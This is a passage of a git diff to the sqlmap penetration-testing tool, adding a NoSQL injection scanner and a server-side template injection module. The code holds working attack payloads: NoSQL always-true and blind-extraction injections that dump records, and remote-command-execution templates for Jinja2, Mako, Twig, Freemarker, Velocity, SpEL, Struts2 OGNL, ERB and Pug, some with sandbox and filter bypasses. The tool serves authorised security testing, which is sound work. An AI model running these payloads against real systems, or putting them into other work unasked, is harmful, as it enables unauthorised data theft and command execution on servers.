NOSQL_SENTINEL)): + return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _partiqlDump(place, parameter, key)) + + return None # SQL-shared break-out with no Cypher/N1QL/PartiQL primitive -> not NoSQL + + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, + lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))) + + template = _detectAQL(place, parameter) + if template: + constraint = _constraint(place, parameter, "==", " && ") + + # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test(). + # Attribute a back-end ONLY on a positive primitive; if NEITHER confirms, don't default to + # ArangoDB (that would be an unconfirmed attribution) - return None. + aqlRegex = _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) + if not aqlRegex: + if _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + whereFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%sthis.%s&&/%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, NOSQL_SENTINEL, key))) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1", falseModel=whereFalse) + return None + + aqlFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) + return Vector("ArangoDB", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' || '1'=='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=aqlFalse) + + numeric = _detectNumeric(place, parameter) + if numeric: + dbms, template, bypass = numeric + dump = None + if dbms == "Neo4j": # bind the dump to the injected numeric field (e.g. u.id = 1) + value = (_originalValue(place, parameter) or "1").strip() + dump = lambda: _enumDump(place, parameter, + lambda expr, rb: "%s AND (%s =~ '^%s.*')" % (value, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + return Vector(dbms, None, None, None, template=template, bypass=bypass, dump=dump) + + threshold = _detectWhere(place, parameter) + if threshold is not None: + bound = _constraint(place, parameter, "==", "&&", prefix="d.") + # with no sibling constraint the $where busy-loop matches whichever document(s) the scan + # reaches, so Object.keys(d)/String(d[k]) are not proven to come from ONE record -> representative + return Vector("MongoDB ($where)", None, None, None, + dump=lambda: _whereDump(place, parameter, bound, threshold), + bound=bool(bound)) + + engine = _detectError(place, parameter) + if engine: + return Vector(engine, None, None, None) + + return None + +def _inband(place, parameter, template): + """In-band data exposure gate: returns the always-true response when it carries materially more + (reflected) content than the original request - i.e. the injection is returning extra records + directly - else None""" + + original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if original is None: # a blocked/failed baseline is UNKNOWN - not a basis for comparison + return None + if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): + return template + return None + +def _clean(cell): + cell = re.sub(r"(?s)<[^>]+>", "", cell) + for entity, char in (("&", '&'), ("<", '<'), (">", '>'), (""", '"'), ("'", "'"), ("'", "'")): + cell = cell.replace(entity, char) + return re.sub(r"\s+", " ", cell).strip() + +def _records(page): + """Parses structured records out of a reflected response - a JSON array of objects or an HTML + table - returning (columns, rows) for a tabular dump, else None""" + + try: + data = json.loads(page, object_pairs_hook=OrderedDict) + rows = data if isinstance(data, list) else next((_ for _ in data.values() if isinstance(_, list)), None) if isinstance(data, dict) else None + rows = [_ for _ in (rows or []) if isinstance(_, dict)] + if rows: + columns = [] + for row in rows: + columns.extend(_ for _ in row if _ not in columns) + return columns, [[("NULL" if row[_] is None else _clean("%s" % row[_])) if _ in row else "" for _ in columns] for row in rows] + except (ValueError, TypeError): + pass + + for body in re.findall(r"(?is)<table[^>]*>(.*?)</table>", page or ""): + header, rows = None, [] + for index, tr in enumerate(re.findall(r"(?is)<tr[^>]*>(.*?)</tr>", body)): + cells = re.findall(r"(?is)<t[dh][^>]*>(.*?)</t[dh]>", tr) + if index == 0 and re.search(r"(?i)<th[\s>]", tr): + header = [_clean(_) for _ in cells] + elif cells: + rows.append([_clean(_) for _ in cells]) + if rows: + width = max(len(_) for _ in rows) + columns = header if header and len(header) == width else ["column_%d" % (_ + 1) for _ in xrange(width)] + return columns, [row + [""] * (width - len(row)) for row in rows] + + return None + +def _grid(columns, rows): + """Renders (columns, rows) as a sqlmap-style ASCII table""" + + widths = [max([len(columns[index])] + [len(row[index]) for row in rows if index < len(row)]) for index in xrange(len(columns))] + separator = '+' + '+'.join('-' * (width + 2) for width in widths) + '+' + line = lambda cells: "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + +def _dumpInband(place, key, page): + """Renders in-band records as a regular sqlmap-style table, or falls back to cleaned text""" + + parsed = _records(page) + if parsed: + columns, rows = parsed + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band records [%d]:\n%s" % (place, key, len(rows), _grid(columns, rows))) + else: + text = re.sub(r"\s+", " ", re.sub(r"(?s)<[^>]+>", " ", page)).strip() + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band data: %s" % (place, key, text[:NOSQL_DUMP_LIMIT])) + +def nosqlScan(): + """Entry point for '--nosql': detects NoSQL injection (MongoDB/CouchDB operator, Lucene + query_string, Cypher/N1QL/AQL string break-out, MongoDB $where time-based, or error-based). On a + confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload + and (2) blindly recover the targeted field via the regexp/timing oracle""" + + global NOSQL_SENTINEL, _sqlErrorSeen + NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + _sqlErrorSeen = False + + # NoSQL injection from an application-scoped point is confined to the back-end's single query + # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the + # SQL database/table/user/banner enumeration, so those switches do not apply here + debugMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable " + debugMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, " + debugMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored" + logger.debug(debugMsg) + + tested = found = 0 + + for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue + for parameter in list(conf.paramDict[place].keys()): + key = _jsonKey(parameter) + + if conf.testParameter and not any(_ in conf.testParameter for _ in (key, parameter)): + continue + + tested += 1 + infoMsg = "testing NoSQL injection on %s parameter '%s'" % (place, key) + logger.info(infoMsg) + + vector = _resolve(place, parameter, key) + if not vector: + continue + + found += 1 + infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) + logger.info(infoMsg) + if conf.beep: + beep() + + # standard sqlmap-style injection-point summary (reproducible vector) + if vector.bypass == '{"$ne": null}': + title, payload = "operator injection", "%s[$ne]=%s" % (key, NOSQL_SENTINEL) + elif vector.bypass == '*': + title, payload = "Lucene query_string injection", "%s=*" % key + elif vector.bypass: + context = "numeric" if vector.bypass[:1].isdigit() else "string" + title, payload = "boolean-based blind (%s)" % context, "%s=%s" % (key, vector.bypass) + elif vector.dump is not None: + title, payload = "time-based blind (server-side JavaScript $where)", "%s=' || (sleep loop) || '" % key + else: + title, payload = "error-based", "%s=%s'" % (key, _originalValue(place, parameter) or "1") + report = "---\nParameter: %s (%s)\n Type: NoSQL injection\n Title: %s %s\n Payload: %s\n---" % (key, place, vector.dbms, title, payload) + conf.dumper.singleString(report) + + if vector.bypass: + # report the payload ACTUALLY tested (e.g. '[$ne]=<sentinel>'), not an idealized form + # like '{"$ne": null}' that was never sent - `null` can behave differently server-side + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, payload) + logger.info(infoMsg) + + dumped = False + + # a named whole-document dump is preferred over the unnamed in-band table + if vector.dump is not None: + infoMsg = "retrieving the reachable document(s)" + logger.info(infoMsg) + records = vector.dump() + if records: + # dump implementations return (columns, rows, bound, complete): `bound` reflects the + # vector that ACTUALLY succeeded (a native record id pinned in every predicate); + # `complete` is False when enumeration aborted / hit a cap. Both statuses are shown + # in the FINAL dumper header, not merely logged, so a partial/representative result + # is never presented as a complete coherent document. + columns, rows, bound, complete = records + logger.info("dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '')) + status = [] + if not bound: + status.append("REPRESENTATIVE: record identity unproven") + logger.warning("no unique-record binding (no native record id / cardinality-one proof); fields below are REPRESENTATIVE and may not all belong to the same document") + if not complete: + status.append("PARTIAL: oracle inconclusive / cap reached") + logger.warning("the document dump is INCOMPLETE") + header = "documents" if len(rows) != 1 else "document" + tag = (" [%s]" % "; ".join(status)) if status else " [COMPLETE]" + conf.dumper.singleString("NoSQL: %s parameter '%s' %s%s:\n%s" % (place, key, header, tag, _grid(columns, rows))) + dumped = True + + if not dumped and vector.template is not None: + exposure = _inband(place, parameter, vector.template) + if exposure: + infoMsg = "the always-true payload returns additional records (in-band data exposure)" + logger.info(infoMsg) + _dumpInband(place, key, exposure) + dumped = True + + if vector.lengthValue is not None: + # content extraction needs BOTH models: without a calibrated false model, classification + # would be one-sided (an unrelated usable page -> a fabricated false bit), so DISABLE + # extraction rather than risk corrupt data (the reviewer's invariant) + if vector.truth is None and vector.falseModel is None: + logger.warning("%s parameter '%s': content extraction disabled - could not calibrate a false model " + "(one-sided classification risks fabricated values)" % (place, key)) + else: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, + vector.truth, falseModel=vector.falseModel) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True + + if not dumped: + if vector.template is None and vector.truth is None and vector.dump is None: + warnMsg = "injection is detection-only for back-end '%s' (no extraction oracle for this engine)" % vector.dbms + else: + warnMsg = "injection on '%s' is confirmed but yielded no data here: this point exposes only a boolean oracle on a non-extractable (e.g. numeric) field. Target a string-compared parameter (e.g. a login/search field) to blindly read a value" % key + logger.warning(warnMsg) + + if not found: + warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested + logger.warning(warnMsg) + if _sqlErrorSeen: + warnMsg = "a NoSQL probe triggered a back-end DBMS (SQL) error, which strongly suggests the " + warnMsg += "target is a classic SQL injection - re-run without '--nosql' to test for it" + logger.warning(warnMsg) + + logger.info("NoSQL scan complete") diff --git a/lib/techniques/ssti/__init__.py b/lib/techniques/ssti/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/ssti/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py new file mode 100644 index 00000000000..98b3fb8d464 --- /dev/null +++ b/lib/techniques/ssti/inject.py @@ -0,0 +1,1140 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import SSTI_ERROR_SIGNATURES +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import blockedStatus +from thirdparty.six.moves.urllib.parse import quote as _quote + + +SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) + +# Each Engine entry defines detection payloads and expected behaviour for one +# template engine. Arithmetic fields use %d placeholders filled with randomInt() +# at probe time so a static "49" on the page cannot produce a false positive. +# Engines are listed in detection-priority order. +Engine = namedtuple("Engine", ( + "name", # human-readable engine name + "family", # language family (python, php, java, ruby, nodejs) + "delimiter", # expression delimiter opening (e.g. "{{") + "delimiterClose", # expression delimiter closing (e.g. "}}") + "errorRegex", # combined engine-specific error regex (None for "no specific signature") + "errorProbes", # tuple of malformed payload suffixes that trigger engine errors + "arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or "" + "arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or "" + "booleanTrue", # boolean true payload + "booleanFalse", # boolean false payload + "trueRendered", # what true renders as (for response matching) + "falseRendered", # what false renders as + "distinguishingProbe", # cross-engine disambiguation probe (None if n/a) + "distinguishingResult", # expected substring from disambiguation probe + "expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or "" + "rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or () +)) + + +def _arithmeticPayload(fmt, a, b): + # Substitute the two operands into the first two %d tokens by literal replacement rather than + # %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where + # fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them. + return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1) + + +def _degroup(text): + # Strip digit-group (thousands) separators so an arithmetic result still matches when the + # engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678"). + # Only separators sitting between digits are removed, so ordinary text is untouched. + return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text)) + + +_ENGINE_TABLE = ( + # -- Python ------------------------------------------------------------------------------------------- + Engine("Jinja2", "python", + "{{", "}}", + r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|safe }}", + "{{ True }}", "{{ False }}", "True", "False", + None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"") + "{{ %s }}", + # Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain). + # The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing + # sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique). + (("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"), + ("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"), + ("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"), + ("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))), + Engine("Mako", "python", + "${", "}", + r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)", + ("${", "${}", "<%", "<%!"), + "${%d*%d}", "", + "${True}", "${False}", "True", "False", + None, None, # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false) + "${%s}", + # Mako: popen captures output; self.module.runtime path needs no <%import%> preamble + (("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"), + ("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))), + # -- PHP ---------------------------------------------------------------------------------------------- + Engine("Twig", "php", + "{{", "}}", + r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|raw }}", + "{{ true }}", "{{ false }}", "1", "", + # '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3); + # 'emplate' is the substring common to both, so the probe is version-stable + "{{ _self }}", "emplate", + "{{ %s }}", + # Twig: filter() chain first; then sort()/map() callbacks, which double as classic + # sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale) + (("{{ ['{CMD}']|filter('system') }}", "filter('system')"), + ("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"), + ("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"), + ("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"), + ("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))), + # -- Java --------------------------------------------------------------------------------------------- + Engine("Freemarker", "java", + "${", "}", + r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)", + ("${", "${}", "<#if ", "<#--"), + "${%d*%d}", "${(%d*%d)?no_esc}", + # modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the + # computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker + "${true?c}", "${false?c}", "true", "false", + # Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there), + # giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family + '${"sstimark"?upper_case}', "SSTIMARK", + "${%s}", + # Freemarker: classic -> indirect-assign fallback + (("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"), + ("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))), + Engine("Velocity", "java", + "$", "", + r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)", + ("$", "#if(", "#set($x=)"), + "", "", + "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", + "#* velocity *#", "", + "", # no generic expression wrapper + # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName() + # reflection chain - needs NO velocity-tools $class in the context - reading the process + # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools + # ClassTool ($class) form, for apps that expose it. + (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))" + "#set($chr=$x.class.forName('java.lang.Character'))" + "#set($str=$x.class.forName('java.lang.String'))" + "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"), + ("#set($str=$class.inspect('java.lang.String').type)" + "#set($chr=$class.inspect('java.lang.Character').type)" + "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))), + Engine("Spring EL / Thymeleaf", "java", + "${", "}", + r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", + ("${", "${}", "#{", "*{"), + "${%d*%d}", "", + "${true}", "${false}", "true", "false", + # SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors + # there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }' + "${'sstimark'.toUpperCase()}", "SSTIMARK", + "${%s}", + # SpEL: read the process stdout (so output is captured, not just a Process object); + # then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL + (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), + ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), + ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), + Engine("Struts2 (OGNL)", "java", + "%{", "}", + r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)", + ("%{", "%{}", "%{1/0}"), + "%{%d*%d}", "", + "%{true}", "%{false}", "true", "false", + None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL + "%{%s}", + # Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process + # stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts. + (("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"), + ("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))), + # -- Ruby --------------------------------------------------------------------------------------------- + Engine("ERB", "ruby", + "<%=", "%>", + r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)", + ("<%=", "<%", "<%#", "<%= foo.unknown_method %>"), + "<%= %d*%d %>", "<%= raw %d*%d %>", + "<%= true %>", "<%= false %>", "true", "false", + "<%= defined? Rails %>", "", + "<%= %s %>", + # ERB: backtick captures output; system() returns only exit status + (("<%= `{CMD}` %>", "backtick"),)), + # -- Node.js ------------------------------------------------------------------------------------------ + Engine("Pug/Jade", "nodejs", + "#{", "}", + r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)", + ("#{", "!{", "#{ }"), + "#{%d*%d}", "!{%d*%d}", + "#{true}", "#{false}", "true", "false", + None, None, + "#{%s}", + (("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)), + Engine("Handlebars", "nodejs", + "{{", "}}", + r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})", + ("{{", "{{#if}}", "{{/each}}"), + "", "", + "{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "", + None, None, + "", # no generic expression wrapper without registered helpers + ()), # RCE requires pre-registered helpers; not generically exploitable +) + + + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`. + Temporarily mutates conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + # URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB + # delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/ + # space would otherwise be mangled or split by the server before the template ever sees them. + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) + + try: + kwargs = {"raise404": False, "silent": True} + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the detection routines (which reject None) can never decide on it + if blockedStatus(code): + return None + return page or "" + except Exception as ex: + logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = old_params + + +def _isError(page, engine): + if not engine.errorRegex: + return False + return bool(re.search(engine.errorRegex, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for name, regex in SSTI_ERROR_SIGNATURES: + if re.search(regex, page): + return name + return None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge. + Both true AND false pages must be independently reproducible.""" + + truePage = truthy() + if truePage is None: + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None: + return None + + falsePage2 = falsy() + if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _probeArithmetic(place, parameter, engine): + """Inject a random arithmetic expression and its control pair (different + operands, different result). Both results must appear for their respective + payloads and NOT bleed across, proving the template is executing the expression + rather than a static '49' appearing on the page by coincidence.""" + + if not engine.arithmeticFmt: + return False + + original = _originalValue(place, parameter) or "" + a, b = randomInt(3), randomInt(3) + c = b + 1 # different operand -> different result + + result1 = str(a * b) + result2 = str(a * c) + + for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt): + if not fmt: + continue + + try: + p1 = original + _arithmeticPayload(fmt, a, b) + p2 = original + _arithmeticPayload(fmt, a, c) + except (ValueError, TypeError): + logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt)) + continue + + page1 = _send(place, parameter, p1) + page2 = _send(place, parameter, p2) + + if not page1 or not page2: + continue + + text1 = getUnicode(page1) + text2 = getUnicode(page2) + + # Raw payload reflection means the template did NOT execute + if p1 in text1 or p2 in text2: + continue + + # Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's + # "132,678") still counts; the raw-reflection check above stays on the original text. + norm1, norm2 = _degroup(text1), _degroup(text2) + + # Each result must appear in its own response and NOT in the other + if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2: + return True + + return False + + +def _probeError(place, parameter, engine): + """Inject each error probe suffix and check for engine-specific error messages.""" + if not engine.errorRegex or not engine.errorProbes: + return None + + original = _originalValue(place, parameter) or "" + + for probe in engine.errorProbes: + payload = original + probe + page = _send(place, parameter, payload) + if not page: + continue + if _isError(page, engine): + return page + return None + + +# A divide-by-zero error is language-family specific, which separates engines that SHARE a +# delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python +# vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase +# 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on +# purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal. +_FAMILY_DIVZERO = ( + ("python", re.compile(r"division by zero")), + ("ruby", re.compile(r"divided by 0")), + ("php", re.compile(r"DivisionByZeroError|Division by zero")), + ("java", re.compile(r"ArithmeticException|/ by zero")), +) + + +def _probeFamily(place, parameter, engine, cache): + """Inject a divide-by-zero inside the engine's delimiter and infer the backend language + family from the resulting error. Returns the family string or None. Responses are cached by + payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request.""" + + if not engine.arithmeticFmt or not engine.delimiterClose: + return None + + payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + page = cache[payload] + if not page: + return None + + text = getUnicode(page) + if payload in text: # raw reflection -> template did not execute it + return None + for family, regex in _FAMILY_DIVZERO: + if regex.search(text): + return family + return None + + +def _probeDistinguishing(place, parameter, engine): + """Send the engine-specific fingerprint probe and verify the response. + For probes with a non-empty expected result, the result must appear and the + raw probe must NOT be reflected verbatim. + For empty-result (comment-style) probes, the response must stay similar to + baseline and the probe must NOT appear in the output.""" + + if not engine.distinguishingProbe: + return False + + original = _originalValue(place, parameter) or "" + probe = engine.distinguishingProbe + page = _send(place, parameter, original + probe) + if page is None: + return False + + text = getUnicode(page) + + # Reject raw reflection: if the probe appears verbatim, the template didn't execute it + if probe in text: + return False + + if engine.distinguishingResult: + return engine.distinguishingResult in text + + # Empty-result (comment-style) probe: response must stay 